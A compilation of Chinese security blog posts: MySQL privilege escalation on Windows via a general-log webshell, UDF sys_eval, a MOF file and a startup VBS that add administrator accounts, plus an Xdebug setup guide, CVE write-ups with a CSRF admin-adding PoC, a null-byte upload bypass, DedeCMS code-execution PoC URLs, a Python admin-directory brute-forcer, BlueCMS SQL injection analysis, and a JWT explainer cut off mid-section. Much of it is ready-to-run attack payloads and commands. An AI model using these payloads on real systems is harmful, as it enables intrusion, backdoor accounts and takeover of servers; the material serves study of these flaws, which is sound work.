基于Windows下mysql的一些提权分析

索引

这篇文章是写基于windows环境下的一些mysql提权方法的分析并利用。这些方法老生常谈,但困于很多文章在讲分析和利用的时候模棱两可,因此想总结一下常见的方法思路。基于windows的提权姿势多的数不胜数,一般在配置文件可以嗅探到root密码的情况(root密码已知)下,或者注入、爆破拿到root密码下,可以考虑mysql提权。文章内容很基础,下面对这些方法进行一些粗谈,有什么理解错误的地方还请客观们轻打…大佬们可以略过这篇文章qaq…

实验环境

靶机A: Windows 7 SP1
靶机B: Windows server 2003 enterprise x64
Phpstudy搭建的php+mysql
php版本:5.4.45
mysql版本:5.5.53
攻击环境:已知root账号密码,网站存在phpmyadmin页面

通过phpmyadmin来getshell

简单测试

利用log变量,猜一下绝对路径

看到phpstudy,猜测根目录在WWW下,into outfile写个马测一下能传不

果然是用不成into outfile,因为file_priv为null,那么尝试使用日志写马

利用日志写shell

开启日志记录

set global general_log='on';

日志文件导出指定目录

set global general_log_file='C:/phpstudy/WWW/hp.php';

记录sql语句写马,这里我就是演示一下,没有安全狗,直接传原马

select '<?php @eval($_POST["hp"]); ?>';

关闭记录

set global general_log=off;

菜刀连接

url: 192.168.11.106/hp.php

看一下权限,普通成员hpd0egr,创建用户错误5。
接下来开始提权之路!

UDF提权

什么是UDF

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

提权原理

先学习一下什么叫动态链接库

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

提权分析

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

提权复现

工具

这里我用暗月的马,改了一些参数。后面我会把所有工具打包

访问提权马

导出dll到指定目录

利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求

  • Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

  • Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。

靶机mysql版本为5.5,那我们只能自己创建一个plugin文件夹了,先用select @@basedir;获取安装目录。

在该目录下创建一个plugin文件夹,网上有大神说可以用ntfs创建目录,感兴趣的话可以研究一下,我这里直接菜刀新建

这个提权马自带的导出要用到Into dumpfile,但是file_priv为Null这个问题限制了我们,就算我们修改了my.ini文件也要重启mysql,那我们直接传一个dll上去吧,文件名为hpudf.dll如图

将udf的自定义函数引入

我们刚才只是把udf的动态链接库导出到指定文件夹,还不能使用里面的自定义函数。要想使用自定义函数,就要把udf.dll中的自定义函数引入。

引入sys_eval函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;

常见的函数如下:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

执行命令

执行命令模板:

select sys_eval('ipconfig)

添加用户/管理员

查看一下用户

get it~

MOF提权

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

mysql以root身份启动,具有c盘下system32/wbem/mof这点权限的要求,就已经非常严格了。。而且win7 sp1就已经没有这个nullevt.mof这个文件了,那么这里记一下poc,来对windows 03的机子进行验证。

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

验证提权

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。


可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

net.exe user localgroup administrator hpdoger /add\

关于Mof提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

启动项提权

在前两种方法都失败时,那可以试一下这个苟延残喘的启动项提权..因为要求达到的条件和mof几乎一样,并且要重启服务,所以不是十分推荐。原理还是使用mysql写文件,写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以使用DDOS迫使服务器重启。

提权条件

file_priv 不为null
已知root密码

poc

create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

总结

还有很多cve这里没有复现到。Mysql提权在如今被各种因素限制,但掌握这一门技术或多或少对我们都还是有所帮助的

Phpstorm + phpstudy + Xdebug代码审计环境

写在前面

硬着头皮挖了一些,也算是完成了之前一个月内出cve的任务:
1、YFCMF:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16431
2、SQL in Bluecms1.6:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16432
3、XSS in Semcms:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16433
4、SQL in Semcms:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16434

但想学好代码审计还有很长的路要走,勿忘初心,开始正题~

搭建环境

安装php_xdebug.dll

phpstudy自带各版本的xdebug.dll插件

在相应目录,如5.6.27版本下的在:phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll

配置php.ini

php.ini在相应目录,如5.6.27版本下的在:\phpStudy\PHPTutorial\php\php-5.6.27-nts\php.ini

在Xdebug部分加如下内容:

[XDebug]
zend_extension="D:\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll"
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_port = 9000
xdebug.idekey = PHPSTORM

zend_extension:插件地址
xdebug.remote_port = 9000 : Xdebug监听地址
xdebug.idekey = PHPSTORM: idekey名称(与后面设置对应)

设置php解释器

![](Delete Link
https://i.loli.net/2018/08/25/5b8157cb1f00f.png)

这里我用的是5.6.27版本的

设置xdebug参数

Debug里设置监听地址:

接着设置代理:

配置Debug

运行–>编辑配置

Defaults–>Web Page

新增一个服务端,填写信息如图,要点击应用和确认

回到上级页面后别忘了选择刚才添加的server

浏览器安装debug插件

下面我是使用火狐的插件xdebug-ext进行调试,因为审计用得比较多的就是火狐了插件多

IDE key也要对应上我们的配置:

调试测试

新建一个工程

浏览器开启debug

在需要debug的页面点击右上图标为红色时:

设置断点

phpstorm开启debug

点击右上角的小电话开启,再点左边的绿色甲壳虫图标进行调试

传参后看结果

Csrf in YFCMF 3.0

Explain

The background administrator adds CSRF to the page, causing other administrator accounts to add.

Poc

<html>
    <form action="/YFCMF/admin/admin/adminsave.html" method="post">
        <select name="group_id" required="">
            <option value="2"/>
        </select>
        <input name="username" value="csrf" type="hidden"/>
        <input name="password" value="123" type="hidden"/>
        <input name="email" value="csrf@1.com" type="hidden"/>
        <input name="realname" value="csrf" type="hidden"/>
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>

Reappearance

1、View original users

2、Accessing structured CSRF pages

3、Successfully added

Arbitrary File upload in Semcms V2.7

Explain

php Background pages restrict the type of uploaded files, jpe, gif, rar,we can break through the restrictions on uploading malicious files such as: PHP.

Code

The affected code(located:/ciuy_Admin/SEMCMS_Upfile.php):

$newname=test_input($_POST["wname"]).".".end($uptype)

We could control the “wname” as we want,and uptype is the suffix which intercepted in allow

Founction

The attaking founction:use char(0) to cut off the filename and make up a renew suffix

The affected page located in admin’s management page:ciuy_Admin/SEMCMS_Upfile.php

Reappearance

First,we define our evil php’s suffix as test.rar(which is allowed) and post it as follow.There,we could see no files in the Folder

Second,we change the php as php0x00 and the effection as :

final effection and poc:

Then, we could see the test.php in the folder:

Finally, we could use tools (Cknife) to link the evil php

summary

This is a background getshell process. The required PHP version is less than 5.3

Dedecms V5.7 SP2代码审计

声明

首发于安全客:代码审计入门级DedecmsV5.7 SP2分析复现

索引

Dedecms的洞有很多,而最新版的v5.7 sp2更新止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后,偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正

环境:

php5.45 + mysql
审计对象:DedeCMS V5.7 SP2
工具:seay源码审计

后台代码执行

漏洞描述

DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell

代码审计

漏洞位置:dede/tpl.php

看一下核心代码:

# /dede/tpl.php
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');

$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}

因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content

action=savetag时,进行csrf()检测

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

验证token和已知的session是否相等,那么token的值从何获取呢?

回溯tpl.php,追踪一下token:

else if ($action == 'upload')
{
        ....
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value='{$_SESSION['token']}'  />
        <input name='upfile' type='file' id='upfile' style='width:380px' />
}

当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~

$truefile = DEDEINC.'/taglib/'.$filename;

传入的filename必须为 xxxx.lib.php,并且保存的也是php文件

    fwrite($fp, $content);
    fclose($fp);

写入内容为$content…那岂不是为所欲为..
poc:

http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content=<?php phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa

在include/taglib下会产生相应xxx.lib.php

后台代码执行Getshell

代码审计

问题代码位于:/uploads/plus/ad_js.php

 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp); 
}
include $cacheFile;

摘出关键语句:

if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

要求$nocache存在,又可以利用前面的全局变量注册

往下走Getone()函数进行sql查询,返回一个结果集。

而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。

接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。

但是这里我只看了这一个文件,现在整理一下思路:
1、给出一个$aid进行sql查询
2、根据查询值判断\写文件,且文件内容可控,目录已知
3、最后把写入的文件包含进来。

那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php

一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据

看到这里知道,清楚exbody和normbody对应的都是什么了

依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,那么直接是取$adbody = $row['normbody'];其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0

ok 现在思路明确,开始复现

复现

我们已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.php?aid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句
payload:

hpdoger=echo '-->'; phpinfo();

winapi查找后台目录

利用条件

1、win系统下搭建的网站
2、网站后台目录存在/images/adminico.gif

基础知识

windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

审计

核心文件:common.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

追踪uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}

摘出这句:

 $image_dd = @getimagesize($$_key); 

进行判断$$_key是否为图片或图片是否存在

然而$$_key的来源是$_FILES[$_key][‘tmp_name’],上文说了全局变量注册,$FILE可控,那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控,此处是产生了一个变量覆盖的

接着再看同文件的代码

    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

其中,$cfg_not_allowall的范围如下:

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

既然上传的name不让以这些结尾,那么我们查.gif不过分吧

找一处验证以下这个核心文件产生的小漏洞:

POC

_FILES[hpdoger][tmp_name]=./ded<</images/adminico.gif&_FILES[hpdoger][name]=0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif

这个poc根据mochazz师傅的poc练手写的,膜mochazz师傅~:

# -*- coding: utf-8 -*-
from itertools import permutations
import requests

def guess_back_dir(url,data,characters):
    for num in range(1,5):
        for every in permutations(characters,num):
            payload = ''.join(every)
            data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
            print("testing:",payload)
            r = requests.post(url,data = data)
            if find_page(r) > 0:
                print("back_dir:[+]",payload)
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                return payload
            data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"

def guess_rest_dir(back_dir,url,data,characters):
    while True:
        for singel in characters:
            if singel != characters[-1]:
                data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
                r = requests.post(url,data = data)
                # print data
                if find_page(r) > 0:
                    print("guess successfully[+]:",back_dir)
                    back_dir += singel
                    data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                    break
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
            else:
                return  back_dir

def find_page(response):
    if "Upload filetype not allow !" not in response.text and response.status_code == 200:
        return 1

def main():
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    url = raw_input("Please input your target:")
    data = {
        "_FILES[hpdoger][tmp_name]": "./{p}<</images/adminico.gif",
        "_FILES[hpdoger][name]": 0,
        "_FILES[hpdoger][size]": 0,
        "_FILES[hpdoger][type]": "image/gif"
    }

    back_dir = guess_back_dir(url,data,characters)
    name = guess_rest_dir(back_dir,url,data,characters)
    print("The background address is[+]:",name)


if __name__ == '__main__':
    main()

最后穿插一个关于FILE变量的小知识点

$_FILES[“file”][“name”] - 被上传文件的名称
$_FILES[“file”][“type”] - 被上传文件的类型
$_FILES[“file”][“size”] - 被上传文件的大小,以字节计
$_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
$_FILES[“file”][“error”] - 由文件上传导致的错误代码

相关链接

代码审计之DedeCMS V5.7 SP2后台存在代码执行漏洞(https://mochazz.github.io/2018/03/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BDedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89/)

奇技淫巧 | DEDECMS找后台目录(https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/)

膜前辈师傅们~

代码审计复现:Bluecms 1.6

写在前面

最近一阵子得了一场病,加之情感上的一件事,痛不欲生。陆陆续续的缓过来了,渡劫余生,留下该留下的。病也慢慢在恢复了。

前些日子说要学代码审计,买了本《代码审计》看了两天,为作者尹毅先生无限打call,人生导师一样的人物,经历是传奇的,努力是可见的。书中开篇点题为什么要代码审计?这是web狗的一项技能。其实,当初学安全的时候我一直想要走的方向是渗透,虽然至今也是。但是渗透就仅仅是用工具来attack么?不,渗透是一种思路,是一种积累,也是一种艺术。它是我们基础的升华,经验的绽放。脚本小子use tools will nerver be a hacker。我们要学的、做的要很多,知识面要很宽,尽管路会很难。

从今天起,至未来的一个月,会把学习的全部精力都投入到审计方向,立下flag:未来半个月内拿自己的cve

环境

cms: bulecms 1.6 sp1
php: 5.4 + mysql 5.5.53

sql注入一

代码审计

问题文件位于:/uploads/ad_js.php

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

变量未用单引号闭合,可能会引起注入

跟踪一下$ad_id,查找该参数如何获得

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

trim去掉ad_id两侧空格,未过滤参数,可注入

再追踪一下getone()函数怎么定义的,一个定义mysql相关操作的文件位于/uploads/include/mysql.class.php:

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

追踪此类里query函数的定义:

    function query($sql){
        if(!$query=@mysql_query($sql, $this->linkid)){
            $this->dbshow("Query error:$sql");
        }else{
            return $query;
        }
    }

查询出错则dbshow进行报错,有结果则返回$query集合后,$row进行取值

复现

sql注入二

一开始审了一个前台/uploads/user.php的宽字节注入,记一下思路:

在mysql.class.php中看到:

mysql_query( "SET NAMES gbk");

看一下有没有进行addslashes过滤

果然对POST\GET过滤,追踪deep_addslashes

function deep_addslashes($str)
{
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

联想宽字节,先追踪一下处理表单的方法

 elseif($act == 'index_login'){
     $user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
     $pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
     $remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;
     if($user_name == ''){
         showmsg('�û�������Ϊ��');
     }
     if($pwd == ''){
         showmsg('���벻��Ϊ��');
     }
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }
    $w = login($user_name, $pwd);

    if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php')){
        list($uid, $username, $password, $email) = uc_user_login($user_name, $pwd);
        if($uid>0){
            $password = md5($password);
            if(!$w){
                $db->query("INSERT INTO ".table('user')." (user_name, pwd, email, reg_time) VALUES ('$username', '$password', '$email', '$timestamp')"); 
                $w = 1;
            }
            $ucsynlogin = uc_user_synlogin($uid);
        }
        elseif($uid === -1){
            if($w == 1){
                $user_info = $db->getone("SELECT email FROM ".table('user')." WHERE user_name='$user_name'");
                $uid = uc_user_register($user_name, $pwd, $user_info['email']);
                if($uid > 0) $ucsynlogin = uc_user_synlogin($uid);
            }else $w = -1;
        }
        elseif($uid == -2){
            showmsg('�������');
        }
        echo $ucsynlogin;
    }
    if($w == -1 || $w == 0){
        showmsg('��������û��������벻��ȷ');
    }
    elseif($w == 1){
        update_user_info($user_name);
         if($remember==1){
             setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+172800, $cookiepath, $cookiedomain);
             setcookie('BLUE[user_name]', $user_name, time()+172800, $cookiepath, $cookiedomain);
            setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+172800, $cookiepath, $cookiedomain);
         }
         showmsg('��ӭ�� '.$user_name.' ���������ڽ�ת����Ա����', 'user.php');
     }
 }

追踪user_name怎么传入:

$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';

发现无过滤

再追踪一下对suername的sql语句如何执行:

$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");

看到调用了getone()函数,第一个注入有介绍。

再看到下面一句:

    if($row['num'] == 1){
        showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');
    }

在admin的表中查询admin_name表中是否有传入的user_name,若存在,$row[‘num’]值为1,然后执行showmsg函数,输出:“前台无法登陆”后返回主页。值为0进行以下操作:

$w = login($user_name, $pwd);

再追踪login函数得到:

 function login($user_name,$pwd){
     global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
    if($row['num']==0){
        $result = 0;
    }else{
        $sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";
         $user_num = $db->getone($sql);
         if($user_num['num']){
             $result = 1;
         }else $result = -1;
    }
     return $result;
 }

到这里我们可以理解,这个页面的登陆逻辑是这样的:

如果我们的用户名是admin表中用户名,则不允许登陆
若不是表中的用户名,则会进行user表的对比查询,再判断是否有这个用户

明确思路:盲注
注入是否成功的判断条件:$row[‘num’]返回值

复现

success injection:

default injection:

google一下发现别人挖过后台登陆验证的宽字节,能够利用…

相关链接

p师傅的浅析白盒审计中的字符编码及SQL注入:http://www.freebuf.com/articles/web/31537.html

(转载)基于 Token 的身份验证

传统身份验证的方法

HTTP 是一种没有状态的协议,也就是它并不知道是谁是访问应用。这里我们把用户看成是客户端,客户端使用用户名还有密码通过了身份验证,不过下回这个客户端再发送请求时候,还得再验证一下。

解决的方法就是,当用户请求登录的时候,如果没有问题,我们在服务端生成一条记录,这个记录里可以说明一下登录的用户是谁,然后把这条记录的 ID 号发送给客户端,客户端收到以后把这个 ID 号存储在 Cookie 里,下次这个用户再向服务端发送请求的时候,可以带着这个 Cookie ,这样服务端会验证一个这个 Cookie 里的信息,看看能不能在服务端这里找到对应的记录,如果可以,说明用户已经通过了身份验证,就把用户请求的数据返回给客户端。

上面说的就是 Session,我们需要在服务端存储为登录的用户生成的 Session ,这些 Session 可能会存储在内存,磁盘,或者数据库里。我们可能需要在服务端定期的去清理过期的 Session 。

基于 Token 的身份验证方法

使用基于 Token 的身份验证方法,在服务端不需要存储用户的登录记录。大概的流程是这样的:

  • 客户端使用用户名跟密码请求登录

  • 服务端收到请求,去验证用户名与密码

  • 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端

  • 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里

  • 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token

  • 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据

JWT

实施 Token 验证的方法挺多的,还有一些标准方法,比如 JWT,读作:jot ,表示:JSON Web Tokens 。JWT 标准的 Token 有三个部分:

  • header

  • payload

  • signature

中间用点分隔开,并且都会使用 Base64 编码,所以真正的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

header 部分主要是两部分内容,一个是 Token 的类型,另一个是使用的算法,比如下面类型就是 JWT,使用的算法是 HS256。

{

“typ”: “JWT”,

“alg”: “HS256”

}

上面的内容要用 Base64 的形式编码一下,所以就变成这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

Payload 里面是 Token 的具体内容,这些内容里面有一些是标准字段,你也可以添加其它需要的内容。下面是标准字段:

